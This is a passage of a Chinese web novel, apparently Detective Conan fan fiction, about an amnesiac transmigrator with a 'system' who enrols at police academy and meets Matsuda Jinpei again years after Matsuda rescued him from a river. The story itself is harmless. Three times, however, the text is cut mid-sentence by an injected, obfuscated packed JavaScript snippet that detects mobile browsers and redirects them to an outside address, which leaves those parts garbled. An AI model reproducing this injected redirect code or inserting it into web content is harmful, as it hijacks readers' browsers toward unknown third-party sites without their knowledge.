《在柯学片场拿错剧本后》 1. 云居日记(1) 【你叫云居冬弥,你傲慢而偏执,你曾对警察这一职业嗤之以鼻,但你相依为命的弟弟消失于某场雨夜,而案件被FBI接手后了无音讯。】 【你决定成为一名警察。】 窗外传来阵阵鸟鸣,阳光透过玻璃洒进温馨而明亮的卧室内,落在安静地躺在床上的人身上,带着淡淡的暖意。 像是被熟人呼唤了般,昏睡中的人头无意识地朝床旁偏了一点,眼珠在眼皮底下移动,手指微动,呼吸急促而短浅,没几分血色的唇微微张开,似乎急切地想些说什么,却发出剧烈的呛咳。 他猛地睁开眼,感官逐一回归,眨了眨眼,注意力集中在眼前漂浮着的淡蓝色的字体上。 【「云居日记」已解锁,请继续书写属于你的故事。】 云居?那是谁?他困惑地翻回上一页,看到「云居冬弥」四个字时本就混乱的思绪更乱了。 他不是叫谷川居雾吗? …… 几天后,谷川居雾,或者暂且可以称他为云居冬弥的年轻人坐在沙发上,面无表情地翻阅着这个透露着古怪的背景资料,总结了一下他的过去。 “云居冬弥原名谷川居雾,亲生父母不详,在酒井孤儿院长大。” “云居冬弥10岁时被云居夫妇领养,在日本读书2年后跟随养父母在美国生活,3年后回国读高二,以优异的成绩考上东都大学工学部,在去年11月份提交警校申请书,政审通过,在经历笔试、体能测试和面试后如愿以偿地成为了一名警校生,将于三天后上午前往警校报道。” 云居冬弥再次确认他当前家庭关系正常,银行卡里有十位数的存款后,他拿起他和弟弟的合照,有点头疼。 “这个背景故事不太对啊。” 首先,这云居夫妇只单独领养了他一人,没领养他弟,他不可能会跟他们走。 其次,他弟的失踪案被FBI接手,但从这份调查报告来看,他弟根本没出现过,无论是孤儿院的人员名单还是出入境记录都没有对方的存在,完全就是个幽灵。而他的手机里还有他弟发来的闲聊,和过去差不多的口吻,自拍也没看出有什么问题,看上去就像是他这倒霉系统又出BUG了,发布的信息与现实有所冲突。 最后,以他的性格不可能改名字,就算改姓他也该叫「云居居雾」,他不可能舍掉「居雾」这个名字,绝对不可能。 你要问他为什么对「居雾」二字如此偏执,无论如何也不想换掉的话—— 他是名穿越者,虽然记忆模糊不清,但他确信上辈子是个名为“X居雾”的隔壁华国工科大学生,死于火灾事故。 至于他知道的原因,那当然是因为这些都写在他和人生重开系统的合同里,他在孤儿院躺平时翻到的。 他对此啧啧称奇,为自己的英年早逝默哀,也为他能被系统看中而感到庆幸。他对自己的要求不高,活着就行,管他在哪个世界活着,活的怎么样,只要活着就可以了。 这么看他的求生欲还挺强的,就是道德观不怎么高。 云居冬弥想着,将照片放回原位,随手给系统点了个投诉,站在全身镜前打量着他这张颜值特别能打的脸。 看上去不常打理、有点毛躁的黑色半长发,他撩起有点盖眼的额发,露出了一双少见的银灰色眼睛。眼角上扬,嘴角却微微下撇,肤色白皙,下颚线清晰利落,显得这张脸攻击性极强。放下头发,盖住特征鲜明的眼睛,气质变得柔和起来,他凝视片刻,调整表情,对着镜子笑了一下,像是温和无害的路人背景板。 上可进军娱乐圈,下可毫无痕迹地混入人群,非常完美。 不过怎么看着有点营养不良啊。云居冬弥摸了摸半长发,觉得该修理一下,以免被拦在警校外剃寸头。 那就去理个发吧。 云居冬弥顺手给弟弟发了条短信,获得弟弟的强烈谴责,说这个长度刚刚好,不会出问题的,并表示他说好的下个月等他回家,让他来修的。 云居冬弥咋舌,同意了。 半天后,系统检修完毕,他郁闷地摸了摸下巴:“系统自检无异常?这是我自定义的「云居冬弥」人设衍生背景板?我没事搞个弟弟失踪人设干嘛?就为了上警校?” 在有记忆的情况下人都不一定能理解过去的自己,更别提没有记忆的云居冬弥了。 云居冬弥试图和害他失忆的罪魁祸首讨价还价,想讨要他的过往资料,但系统严防死守,坚决反对,只是丢给他了一份《柯学世界生存指南(精简版)》让他熟记。 10条世界观介绍,90条注意事项。 这个世界这么危险吗? 云居冬弥看得头晕眼花,但系统跟他是同一条船上的蚂蚱,肯定不会坑他,于是他老老实实地背完了,没事就巩固练习,在开学前一晚背熟了。 他疑惑、茫然而顺其自然地成为了一名警校生,在樱花纷飞的季节,一无所知地踏入警校。 这里的人似乎自带意气风发的感觉,还算阳光,朝气勃勃,步伐轻快而毫无防备,话语中还带着点自我意识过剩和中二,没有什么被生活磨平棱角的痕迹……虽说有个别同学不同,但大部分的同学都是这样的人,混入其中的云居冬弥感觉他有点像被阳光照亮的阴暗蘑菇,不太适应。 而且这种感觉有点自由过头了,没人管着,他感觉凉飕飕的。 云居冬弥摸了摸脖子,盲猜他以前一定被人管得很严。 暗戳戳地观察完报道新生,怀着微妙的逃避心理,他领完校卡、制服和宿舍钥匙便拖着行李箱溜上搂了。 可能阴暗蘑菇就适合待在潮湿的角落里,他感觉他再被阳光晒一下就要化掉了,还是远离社交,去整理宿舍为妙,他一边总结他的想法,一边自言自语地检查宿舍安全,确定宿舍没有不该存在的窃听器、引爆设备之类的后,才开始慢吞吞地整理东西。 不过正常的宿舍会有这些东西吗? 稀薄的常识告诉云居冬弥,他在住处熟练地找这些东西是不正常的行为,但在搜索了一下这个世界的犯罪率之高后,他沉默住了,暂时将其归于正常。 或许这就是这个世界的人们的日常,或许是他有被害妄想症。 总之,他目前的身份应该和涉黑群体无关。 云居冬弥为自己开脱。 就在他胡思乱想的时候,突然有人敲门了。 “咚咚咚。” 云居冬弥收拾好思绪,说:“来了来了。”所以别敲了,有点吵。 他拍了拍手上不存在的灰尘,快步走向门口,拧开锁,打开了一条门缝,就着这条缝往外看,不着痕迹地打量了一下对方。 那人身高与他相当,衣服价格不算昂贵,目测没有持枪械或刀具。 注意力转移到对方极为出众的外貌,黑色卷发,正常亚洲人的肤色,剑眉星目,桃花眼,凫青色的眼睛死死地盯着他,手里把玩着黑墨镜,看上去像是讨债的黑涩会。 但这里是警校,正常来说不会有混黑的人。 指甲修剪干净,手上没有枪茧,反倒指关节留有薄茧,年龄在二十岁出头,大概率是同一届的学生。 云居冬弥为他能在一瞬间观察出这么多细节而点赞,但他面上不显,只是将门敞开了些许,平静地抬头,和那双锐利的眼睛对视,无辜而友好地自我介绍:“你好,初次见面,我是云居冬弥。” “你找我有什么事吗,同学?” 说完,他礼貌性地笑了笑,但不知道是不是他的错觉,他感觉对方心情更差了。 “哈?云居冬弥?”对方冷笑了一下,脚卡在门缝间,“所以,你连名字都是骗我的?” 卷毛同学非常有当收租大佬的潜质,墨镜一戴,恶人颜瞬间就冒了出来,顶着幽幽的视线,云居冬弥茫然而莫名后背发凉,他手上发力,想合上门,却被脚卡得死死的。 不是,这位同学,你开学都没开就来堵门是什么意思? 难不成是认识的仇人?云居冬弥盯着看上去没什么恶意的卷毛同学又看了几眼,否定了这个想法,恍然间觉得这张脸有点眼熟,只是印象不太深刻。 应该是认识的人,但估计不太熟。他想。 隐瞒失忆这点毫无用处,反正病例单上也有写,不如用此来换个答案。 所以他友好地笑了起来。 “请问你是?” 他有点好奇地问,这是他醒来后遇见的除了弟弟以外第一个认识他本身的人。 “松田阵平。” 松田、阵平?等等,你就是那传说中的警校组的一员吗?我怎么惹到你了? 云居冬弥笑得有些微妙。 对方咬牙切齿地说:“好久不见,谷川居雾。” 松田阵平黑着脸、眼里冒着火气的样子异常的眼熟——不是那种隔着屏幕,三次元观看漫画或动漫的眼熟,而是那种曾在现实中短暂交流过的眼熟。 云居冬弥眨了眨眼,莫名感到眩晕和错位,他感到有点奇怪,他明明一言不发地站在原地,但他为什么会感觉他沉入了水底? 窒息感将他锁住,略为昏暗的灯光也变成了刺目的阳光,耳旁的呼喊被水流吞没,他似乎回到了几年前的秋天。 此时的他正躺在水中,挣扎片刻后便摆烂般地躺平起来,隔着水,他看到了模糊的天空。他的心情似乎很平静,没有恐惧,没有不安,任由水流将他飘向未知的地方,就连被水呛到也懒得往岸边游,只是在即将窒息的那一刻在求生欲的作用下浅浅冒个头,呼吸一下,保证他还能活着。 思绪异常缓慢,他安静地躺在水中,懒得动弹,平静地感受着力气的流失。 飘了很久,久到他连自救一下的力气都没了,在窒息的作用下无力的痉挛起来,但他心里丝毫没有对死亡的恐惧,异常的平静,仿佛知道他不可能会死在这里。 就如他所想,他被人捞起来了。 但对上那双带着点焦急的凫青色眼睛,他有点疑惑,似乎有什么东西出错了。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619232|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事吧?!” 捞他出来的那位卷发少年问。 他思索片刻,说:“没事。” “你为什么救我?”他有点新奇地问,“这是野水区,就算是会游泳,也有一定的溺亡风险,你不该救我的。” 被救者反客为主,面无表情地指责施救者:“你父母应该告诉你,救人要量力而为,不然会出事的。” 卷发少年:“?” 对方炸毛了:“喂,你就这么对救你的人说话吗?!” 他很平静:“我又没让你救我。我不会死的。” 面对对方恶狠狠的表情,他不为所动,只是重复道:“你不该救我的。救人前要考虑自身情况,你不该一无所知地救下我的。” “万一,我是说万一。”他面无表情地指了指自己的脸,认真地说,“我是坏人你该怎么办?” “哪有自己说自己是坏人的?” 他莫名其妙地和卷发少年吵起来了,到后来还差点打起来。 虽然他很累,但他的武力值明显远高于对方,他只是靠躲避便把对方的体力耗干净了。 好累,不想干了。 但还是要解释一下的吧,不然要是他报警了,顺着他往下查了该怎么办?会出事的。 他斟酌着开口,准备说些什么,但电话响了,贴在外套内袋的手机套着防水袋,嗡嗡作响,他摸出手机,看了眼联系人,松了口气。 好了,这下不用解释了。 他接通了电话,对面的人苦口婆心地说了很多,但他只是面无表情地听着,淡淡地说:“别过来,在那等我。” 他看了眼面前累得够呛的卷发少年,真诚地提出建议:“你应该跟人学过,你的拳法基础很好,但有点死板,挺好猜的,而且你目前还不会预判他人的动作,如果真的和别人打架,你要学会预判,猜测对方的行动轨迹。以及,你的体力还需要多练一下,对比同龄人还好,但一些情况下不太够用。” 思索片刻,他决定补充一句自我介绍。 “初次见面,我叫谷川居雾,很高兴认识你,下次见。” 谷川居雾友好地再见,脸上难得带了点笑,不着痕迹地甩开跟在身后的小卷毛,听着了从远方传来的「小阵平,你怎么在这里」、「你是落水了吗?怎么浑身湿哒哒的!小阵平」的呼唤,似乎想到了什么。 “下次见……最好还是不见了,见到我并不是什么好事。”他眉头一皱,又说,“不对,还是有概率会见到的。” 正午时分,阳光落在谷川居雾湿透的衣服上,他走到街旁停留的一辆黑色私家车边上,敲了敲车窗玻璃。等车锁打开后,他便打开车门,坐了进去,理所当然地朝司机索要了一份干净衣物,但司机略带歉意地表示:“非常抱歉,这是新申请的车,车上没有备用衣物。” “哦,好的。”谷川居雾不爽地坐回去,用手托着下巴,目光看向车窗外,“下回记得备好,坪内。” “好的,我会的。”沉默片刻,坪内问,“不过那位少年没关系吗?” 谷川居雾瞟了眼对方毫无波澜的脸,无所谓地笑了一下,摆了摆手,平静地说:“没关系,不用报告。” 似乎想到什么,他又有点头疼地补充道:“别干多余的事情,这算我欠你个人情,这个人情我建议你8年后用。” 对方爽朗地笑了:“OKOK,你都这么说了,我不会自讨没趣的。” “但愿如此。”谷川居雾随手将滴水的头发往后撩去,抹了把脸,瘫在后座上,“到目的地了叫我。” 不过,那个人是叫松田阵平吗?奇怪的缘分。 谷川居雾闭上了眼睛。 * “……冬……云居……” “云居……不行啊,叫不醒。” “那叫他……名试试?” 断断续续的人声像接触不良的电流,云居冬弥闻到了浓重的消毒水味,有点反胃和头疼,胃里翻江倒海。他试图睁开眼,但薄薄的一层眼皮异常沉重,尝试多次才睁开眼睛。 目之所及的是白花花的天花板和摇晃的吊瓶,他似乎躺在病床上,身旁共有三道人影。 白大褂,卷发恶人颜……和半长发笑面虎? “云居同学,你醒了?” 云居同学?哦,对了,他现在是云居冬弥。 不是,这里是医院吗?云居冬弥猛地坐起身来,眼前瞬间黑屏,他眨了眨眼,视线又缓缓恢复,可能是有点低血糖了。 他看了一圈,发现这里不是医院而是校医室后,莫名松了口气。 习惯性地略过耳旁的说话声,云居冬弥丝毫不在意赤裸裸的目光,随手拔了针头,抹掉手背上冒出的血珠。身旁传来“啧”的一声,他顺着声源看去,又对上了凫青色的眼睛,后知后觉地想起这位曾经被他坑过的大冤种还在这里站着。他心虚地问好:“好久不见,松田同学。” “不久,几小时前才见。” 松田阵平没好气地说。 2. 云居日记(2) 其实松田阵平也不知道这个事情会朝着这么诡异的方向发展。 他最初就是救了个人。 6年前的春末,16岁的松田阵平在放学路上忽然发现他把作业漏在教室了,那天又是周五,作业中还有个作文,下周去学校补肯定补不完,刚好他还没走远,干脆就让萩原研二待在原地,他一个人折回去拿作业了。 结果就在拿完,回去找萩原研二的路上看见了一个在河中飘着的黑色身影。 仔细一看,那人还活着。 半秒后,他把包扔在一旁,下水捞人。 到此为止也还只是件小事。 如果不是那人说话如此气人,如果不是就算报了案也丝毫没查到那个混蛋的音讯,如果不是他的表情那么死气沉沉,他根本不会耿耿于怀那么久。 你能想到一个比你矮大半个头,看上去连14都没有的少年就这么面无表情地看着你,反复强调“你不该救我”这话吗? 他伏在地上剧烈着呛咳着,勉强顺过气后便摇摇晃晃地站了起来,警惕地站在一旁,手下意识地摸向腰侧。 湿哒哒的黑发乖巧地搭在还有点婴儿肥的脸上,略长的额发下,蒙着一层水雾的银灰色眼睛一动不动地盯着松田阵平,眼底带着丝毫没掩饰的困惑。 ——怎么是你? 他似乎这么说。 在问完“你没事吧”后,他的回答更是令人印象深刻。 就像是很多年没听到过某种可笑的话,毫无波澜的脸上浮现出几分明显的错愕,眼睛睁大了些许,有些新奇地看着他,明明脸上就写着他似乎看到了什么好笑的事情,但他的语气异常平静:“你为什么救我?这是野水区,充满了未知的风险,就算是你会游泳你也不该救我的,这很不安全。” 他说:“你父母应该告诉你,救人要量力而为,不然会出事的。” 他还说:“你不该救我的。救人前要考虑自身情况,你不该一无所知地救下我的。” 话里话外全都是你不该出现在这个时间点,不该救下他。 光听着就令人火大。 但这个混蛋似乎没察觉到这有什么问题,他还自顾自地火上浇油。 “万一,我是说万一。”他指着自己的脸说,“我是坏人你该怎么办?” 他是真心这么认为的。 不是,你真的认为你是个坏人的话,你干嘛要说出来? 16岁·有仇当场就报·从不将仇留到明天·高中生松田阵平和对方吵起来了。 吵的内容是什么不记得了,大概是关于“这不是我的问题”“也不是你的问题”“总之都没问题”“不对,你还是有点问题”“关心一下人类幼崽的身心健康”之类的。 乱七八糟,又乱又杂,最后他被人机对话气得半死,和对方动起手来了。 原本只是想拍一下对方的肩,就当过去了,结果没打着,他试探性地又试了几次,发现完全打不到那个混蛋。 下水捞人本就体力值耗了大半的松田阵平双手撑着膝盖休整,准备一会儿再和他大战三百回合。 结果电话响了。 嗯,对面那家伙的。 对方微微瞥眉,看了他一眼,似乎在犹豫要不要在他面前接听,但看到来点人后整个人的气质又柔和起来,丝毫没有手机刚刚震响时的冰冷锐利。 他接通了电话,简单的聊了几句,用的完全就是命令式的语气。 他叽里呱啦地建议了一大段话,转头就走,随后似乎想起了什么,又回过头来补充了一句迟来的自我介绍:“初次见面,我叫谷川居雾,很高兴认识你,下次见。” 谷川居雾说完就走,我行我素,单纯地按照自己所喜欢的行动模式运行,丝毫不考虑另外一方其实有话要说。 他十分熟练地甩开了跟在他身后的松田阵平。 找了一圈无果后,松田阵平回到了河边,拎起他的包,迎面碰上了迟迟没等到人、顺着去学校的路找过来的萩原研二。 他在和幼驯染简单聊了这件事后,他勉强打消了报案的想法,但对此印象深刻、耿耿于怀,没几个月就会拎出来抱怨几句,对这个满身秘密的小鬼怨念很深。 在这时的他完全没想到会在警校报道那天见到谷川居雾。 * 记忆里的那名少年已经长开了,五官远比当年更为精致、锐利,相对于男性而言过长的黑发垂过肩膀,已经是可以完全扎起来的长度了。他站在樱花树下,托着黑色的硬壳行李箱,银灰色的眼睛专注地盯着和他搭话的萩原研二。 “领制服的话在报告厅,倒时候看班拿就行了。” “我是鬼塚班的。” “诶——你也是吗?真巧。” 说完他礼貌性地笑了一下,视线扫过朝萩原研二走来的松田阵平,平静地道别:“你的幼驯染似乎来了,那我就先走了。” 随后他在萩原研二的追问下又补充了一句:“我的宿舍?嗯……是404号,非常不吉利的数字呢。” 看着目不斜视地从他面前掠过,径直向宿舍楼走去的身影,松田阵平缓缓打出一个问号。 熟悉的配色让他不禁盯着看了一会儿,引得对方频频回头,松田阵平在反复对比后确定了那人就是当年的谷川居雾,愣了一下,他回头看向幼驯染,问:“刚刚那家伙是谁,hagi?” “云居,云居冬弥,他名字的发音还挺可爱的……诶!小阵平你怎么这个表情?!” “啊,原来他说他叫、云居冬弥,是吗?” 萩原研二眨眨眼,如善从流地说:“诶,那小阵平是觉得他应该叫什么?” “谷·川·居·雾。” * 事实上。 萩原研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619233|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二也没想到他在警校门口遇见的那个人是他幼驯染念叨了多年的谷川居雾。 虽然知道小阵平的描述难免带有主观色彩,和现实会有一定的差距,虽然他们的眼睛颜色都是少见的银灰色,虽然他的长相和当年匆匆略过的少年是有几分相似,虽然他的表现确实和警校里的其他同学有一点格格不入,和小阵平口中的谷川居雾的气质有点类似……但性格差异未免也太大了吧。 “虽然云居同学看上去很不好说话,对话也不太喜欢说敬语,但真的很认真在倾听,说话也挺礼貌的。” 萩原研二比划了几下:“甚至礼貌过头了——哪怕不是他的问题也会一直说「对不起」,动不动就垂着眼喊「谢谢」,和小阵平所说的谷川居雾一点都不像啊!” “我绝对没认错。”松田阵平抱着臂,领口别着个墨镜,靠在樱花树上强调,“那家伙化成灰我都认识!” “而且也不是所有人都长得那么有特色的——就比如以前的我一定认得出现在的你。” “那确实。”萩原研二瞬间被说服了,点了点头,“如果让小时候的我来到现在,我也能一眼认出现小阵平。” “那不如去认证一下?” 迎着松田阵平困惑的目光,萩原研二提议道: “云居同学住在404号房哦,反正我们和他同班,就算认错了就当提前认识了吧!” 松田阵平被说服了。 他自认正常地敲响了云居冬弥的宿舍门,还算友好地自我介绍,并成功收获了一名差点啪叽一下脸着地的云居冬弥。 松田阵平:“?” 松田阵平回头看了眼同样懵逼的萩原研二,不可置信地看了眼就这么水灵灵地晕倒在地的云居冬弥。 喂喂,这是碰瓷吧?! * 做人留一线日后好相见,松田阵平还是和萩原研二一起把这位多事的自称“谷川居雾”的云居同学给他架到医务室去了。 是的,松田阵平已经确认他就是当年讨人嫌的小鬼了。 就他说出“谷川居雾”后那个名字后那危险中带着点恍惚的眼神,想认错都困难。 银灰色的眼睛沉默而冰冷地注视着站在他面前的人,瞳孔微微涣散,他无意识地眨了眨眼,眼底流淌着的令人毛骨悚然的寒意无声消散。 明明站在他身前,但松田阵平莫名觉得他其实看到的不是他。 “你……会……?” 话音未落,他往前倒了下去。 松田阵平茫然而手忙脚乱地接住对方。 * 呵呵,就这个状态他怎么可能认不出来这混蛋就是当年的小鬼? 松田阵平和萩原研二被叫去听新生讲座后又回来围观某位安详地躺在病床上、错过了开学庆典的青年。 他啧啧称奇,报道第一天就光荣进医务室也是没谁了。 3. 云居日记(3) 悠悠转醒后,云居冬弥和校医陈述了一下情况后,便顺势跟着萩松二人前往食堂。 本着「只要尴尬的不是我就是别人」的原则,云居冬弥边吃食堂提供的晚餐,边平静地讲述他的情况。 “首先,你是说你有严重酒精过敏,但你办成年礼却在酒吧?还误饮了你朋友的威士忌?” 云居冬弥将饭送往口中的手一顿,沉痛地说:“是的,对此我也非常惊讶,十分想撬开那个"我"的脑袋看看里面装了多少水——居然酒精过敏还带朋友去酒吧喝酒,这不是没事找事吗?” “然后你喝了之后休克了,走路不稳,把自己磕成了脑震荡,还因此被送进医院抢救?结果一觉醒来就发现你失忆了?” 云居冬弥觉得这么说怪怪的,听上去有点狗血,于是补充道:“准确来说,我朋友当时抓住了我,我最开始没摔,只是后来酒劲上头,和对方吵起来了,把手甩开,动作幅度过大才导致的摔倒。轻微脑震荡的原因是脑袋磕到了桌角,这种程度不至于失忆,造成失忆的原因是休克时严重缺氧。” 松田阵平和萩原研二对视一眼,狐疑地看向对方:“你这是愚人节玩笑吗?” 咖喱牛腩拌饭瞬间不香了,云居冬弥原本还算平静的心情碎成渣,他幽幽地看了眼好奇心强烈的两位同学。 干嘛没事提「愚人节」呢? “今天并不是愚人节,我没开玩笑。”云居冬弥感觉心口被戳了一箭,用毫无起伏的声音发癫,“呜呜,你怎么知道我的生日就是4月1日愚人节?你怎么知道我是在愚人节那天出事的?” “一觉醒来发现自己忽然就变成20岁青年了,我还以为是愚人节玩笑呢……” 结果不是,他真的一觉醒来就从10岁快进到20岁,平白无故少了10年的记忆,太悲伤了。 云居冬弥的表情瞬间从▼.▼变成了QAQ。 情绪肉眼可见地低落了下来。 * 某种意义上,谷川居雾并不是什么喜欢探究过去的人。 梅开二度失忆前不是,他现在更不是。 他对他的上辈子毫无印象,只有从系统那得知的只言片语和上辈子残留的知识经验,所以他也就对此毫不在意。 该说他豁达呢?还是该说他冷漠呢? 只要对现在无影响,那他就不回去在意这所对应的过去,因为这对他而言没有意义。 他这辈子也本该如此。 毕竟,谷川居雾的开局比较地狱,出生点就是孤儿院,父母双亡,举目无亲,还由于古怪、少见的瞳色被小孩霸凌,对这个世界毫无归属感,只想活下去。但人总得有点追求,谷川居雾不想被霸凌,于是他凭借隐隐约约的经验,反向孤立所有人,成为孤儿院一霸,还顺手捞了个被孤立的小孩当弟弟养。 养久了也就习惯了,有感情了,他借对方的姓氏和自己的名字为自己起了个新名字,叫「谷川居雾」。 没事就和弟弟黏在一起,无趣的孤儿院生活也变得有趣起来。 白天在孤儿院里到处找能吃的东西,陪弟弟玩捉迷藏、编花环、看书、画画,一起幻想以后的生活,捉弄那群被他们两人孤立的小孩。晚上找个不容易被打扰的地方,安分睡觉,偶尔玩夜间探险小游戏。 如果不是这该死的失忆,谷川居雾本该记得更多他和弟弟的故事,而不是戛然而止于他意外落水的10岁生日。 一觉醒来痛失10年相处回忆。 痛心,太痛心了。 他那么可爱乖巧的弟弟。 * “那你就这么因为一张通知书就来警校上学了?” 云居冬弥点点头,无所谓地说:“医生说接触新环境有利于记忆恢复,而且反正我现在也不知道该干什么。这里包吃包住,带薪上学,我觉得挺好的。” “好个鬼啊?!你这家伙能不能不要随便就把这些事情说出来?” “不过你就这么告诉我们好吗?” 两个声音叠在一起。 “嗯?”云居冬弥有点困惑,“还好吧。这件事情本身就很奇怪,如果不说那很麻烦。我讨厌麻烦。” 萩原研二将还在炸毛中的松田阵平顺了顺毛,尽量维持脸上温暖亲切的笑容:“我明白了,谢谢你的信任,云居同学。” 云居冬弥炫完最后一点饭,坐着等对面两位吃完,但太无聊了,在他们面前他也不好直接呼唤系统,怕穿帮,所以他回想起他缺失的上午,兴致勃勃地说:“一直都是你们在问,该换我了。” “哦,你问。” “那你想问什么呢,云居同学?” 云居冬弥瞟了眼在人群中十分显眼的金发青年,有点好奇,悄悄用气音说:“听说那位帅气的金发小哥是我们这届首席,很多同学在谈他的演讲,但我错过了,他的演讲内容是什么啊?” 萩原研二有那么一瞬愣住了,看了眼他隔壁的卷毛同学说:“降谷啊……他……” 松田阵平强势打断:“你刚刚才爆了个‘失忆’的大雷,你居然还有闲心去关心演讲的内容?!你没有紧张和不安的神经吗?” 云居冬弥眨了眨眼,无辜而理所当然地说:“该说的都说完了,所以聊一点好玩的事情很正常啊。降谷同学长得很像少年漫主人公,听漫画主人公的开场发言不是很重要的事情吗?而且新生演讲本身也挺重要的,了解一下挺正常的吧?” 萩原研二笑着说:“是和警察的‘纪律’和‘职责’有关的话题啦。” “相当正派而官方的发言,有种热血少年漫开篇的感觉。”云居冬弥感叹完,悠悠看了眼松田阵平,若有所思,“不过,松田同学是和降谷同学有仇吗?感觉你看他不顺眼,想和他打一架。” 松田阵平没有反驳。 哇,中奖了。云居冬弥面不改色地喝了口饮料,说:“所以你们今晚要打一架,一分胜负吗?” “?你为什么会直接联想到私下斗殴?这是违反校规的。” 云居冬弥挑眉:“我在你心里难道是个很守规矩的人吗?我太感动了,请就这么宣传我,松田同学。” “我要吐了。” ……好熟悉的话。总感觉在哪听过。 云居冬弥有点头疼,但还是身强志坚地怼话:“哦,那别吐地上,会给清洁工增添负担的。” 眼看萩松二人吃完了,云居冬弥自然地跟在他们身后一起去放盘子了。 顺路上楼,云居冬弥随口说了声再见,然后回到宿舍里,结束这事多的一天,为日后多灾多难的警校生活默哀三秒。 * 宿舍内的物品他只收了一半,剩下的物品杂乱地倒在地上。 云居冬弥边收拾边问系统:「所以,这位松田阵平和他的亲亲幼驯染再加上本届首席、首席的幼驯染和我们亲爱的班长大人——就是传说中的警校组吗?」 【是的。】系统斟酌一下说,【你和警校组是同一届的学生,你们是同班同学。】 「我知道了。」云居冬弥思索片刻,有点疑惑,「其实从一开始我就想问了,我为什么回去警视厅警察学校而不是警察厅警察学校?我觉得如果我能考上东大前几的话,那我应该能过国家1类加急公务员考试,去当职业组也是可以的吧。」 【……考上东大又考这个学校的人远不止你一个,这很正常。而且你的综合成绩排名为第九,并不算特别高,你前面还有人呢。】 「?」云居冬弥大为震惊,「用这种成绩来报考这个学校的居然不止我吗?」 云居冬弥念叨着:「难道是太难考了?也对,那边更难考,通过率仅有1%,竞争太激烈了。而且我还有在美国留学的经历,政审还不一定能过呢……好吧,要是这样的话我无话可说。」 云居冬弥自我说服成功,又是一个生龙活虎的云居冬弥了。 但他仍在怀疑:「那为什么偏偏和警校组同班?」 系统无慈悲:【啊这,这还真是你的锅。你暗箱操作自己选的,说是想体验一下朝气勃勃又鸡飞狗跳的生活。】 云居冬弥缓缓打出一个问号:「他没事给自己找罪受?别的班不朝气蓬勃吗?上学都这么累了,鸡飞什么狗跳?训练量都这么大了还想着体验生活,他有病吧他?」 呼……冷静冷静。有时候人甚至不能理解自己,更何况他现在还是个失忆版本,信息不对等,说不定有什么他不知道的影响因素在里面作祟。 但越这么想云居冬弥越郁闷。 因为他想起了醒来时的连环惊吓。 * 【你叫云居冬弥,你傲慢而偏执,你曾对警察这一职业噗之以鼻,但你相依为命的弟弟消失于一个雨夜,而案件被FBI ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619234|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接手后了无音讯。】 【你决定成为一名警察。】 难以言喻的荒谬笼在心头,系统仿佛意识到了他的不可置信,在片刻后两行字覆盖在原本的页面上。 【欢迎回来,检测宿主状态异常,是否查看个人信息?】 【是】【否】 这是升级了?之前可没有这个功能。 谷川居雾点了「是」。 【角色档案_“我”】 姓名:谷川居雾 年龄:20岁 阵营:…(待解锁) 身份:…(待解锁) 状态:失忆ing.(完成支线任务可获得记忆碎片) 备注:你现在叫云居冬弥。 云居冬弥盯着残缺的个人信息,深吸一口气,挣扎着支楞起来。 等等,怎么就20岁了? 为什么会失忆? 姓名没变的话那「云居冬弥」又是什么情况? 云居冬弥低下头,看着骨节分明、明显是成年人的手,攥紧拳头,指甲陷入手心,传来微弱的痛感,他冷静下来。 冷静冷静冷静…… 先初步判断一下,这倒霉失忆肯定和系统有关,不然支线任务的系统奖励不会是记忆碎片,原本属于宿主的概念性物品只能从宿主上剥离,再给予。 他反复读了几遍个人信息,没看到其他的有效信息,干脆回到主页面,准备逐一了解。 但还没等他仔细看,一条消息便弹了出来。 【经检测,你已解锁角色卡「库拉索②」,是否查看?】 云居冬弥在失忆前尚未解锁抽卡板块,他现在需要知道各方面的情报,先后顺序无需优先,因为他一无所知。 正巧他也挺好奇这个角色卡是什么,他理所应当地选了「是」。 首先探出的是“库拉索”的基本信息。 【角色档案_库拉索】 姓名:??? 代号:库拉索 阵营:黑 身份:酒厂代号成员,朗姆下属 状态:洗脑ing. 云居冬弥简单看了几眼,和系统提供的基本世界观和柯学套路联合起来,有点好奇。 他记得在孤儿院那会儿系统和他介绍过这个世界简称柯学世界,里面的人大致可以分为红、灰、黑和无四个阵营。 侦探、警察等心怀正义的人阵营为红;卡在红黑之间的灰色职业就业者基本是灰;犯罪分子统一为黑,其中特殊的一部分人会用酒名/动物作为代号;而其他不参与红黑主线的人统一为无。 当然,像卧底、叛徒、碟中谍之类的以心中的真正立场为阵营。 但当前状况不支持他解锁库拉索的其他信息,他遗憾地选择了「下一步」,就此作罢。 然后他便看到。 